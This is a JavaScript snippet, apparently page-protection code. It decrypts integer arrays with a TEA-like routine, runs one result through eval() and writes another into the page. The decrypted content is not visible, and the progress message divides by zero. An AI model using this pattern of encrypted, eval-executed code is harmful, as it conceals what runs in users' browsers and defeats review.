function process(ar)
{
  var Stri = '';
  var resultado = '';
  var y, z, sum, n, n1, number, j = 0;
  var x = 0;
  var key = new Array(28258,24929,110,97);

  n1=8;
  
  for (j=0; j<ar.length; ++j)
  {
    for (i=0; i<ar[j].length-1; ++i)
    {
      sum=4055616968;
      n=n1;
      y=ar[j][i];
      z=ar[j][++i];
      
      while(n-->0)
      {
		z-=(y<<4)+key[2]^y+sum^(y>>5)+key[3];
        y-=(z<<4)+key[0]^z+sum^(z>>5)+key[1];
        sum-=0x9E3779B9;
      }

      Stri += String.fromCharCode(y&0xFF)+String.fromCharCode((y>>8)&0xFF)+String.fromCharCode((y>>16)&0xFF)+String.fromCharCode((y>>24)&0xFF);
      Stri += String.fromCharCode(z&0xFF)+String.fromCharCode((z>>8)&0xFF)+String.fromCharCode((z>>16)&0xFF)+String.fromCharCode((z>>24)&0xFF);
    }
     
    resultado += Stri;
    Stri = '';
    window.status = "Processando: " + Math.ceil(x++ * 100 / 0) + " % Fim.";
  }
   
  window.status = "";

  return(resultado);
}

function Ncopy()
{
    var ar = new Array();
    ar[0] = new Array(383673522,558714974,1364956262,-509729133,1964518504,1444894284,202925142,-180102591,-1129271916,-586212466,-607007569,-942453870,-116232106,-1511837731,576120704,1852603122,1060112834,203624083,-964714023,-139458394,-624089151,919186754,1255736905,944595234,-2074906277,-2071076160,703486289,1955867056,383673522,558714974,348259020,1132056146,-1915078508,83595034,378557608,342418599,-239525373,415783874,-58407376,-540893602,383673522,558714974,1424022097,-752019106,-1229786239,1742000135,1268900375,-1993177851,-1357262377,1553790279,-142514888,860352460);
    eval(process(ar));
}


function Nprint()
{
    var ar = new Array();
    ar[0] = new Array(-548013318,-1157985756,1281641426,-493360765,293322713,1601918904,344718272,1517047140,-739613319,1417737083,-1070678613,-1221767737,-404011325,-1768605936,276134242,1883820895,369066826,1723597163,1884561704,1499583395,-1788575335,1308068916,560892983,1426952981,1532088146,-1555439913,1212313371,1305881057,988889815,1126646468);
    document.write(process(ar));
}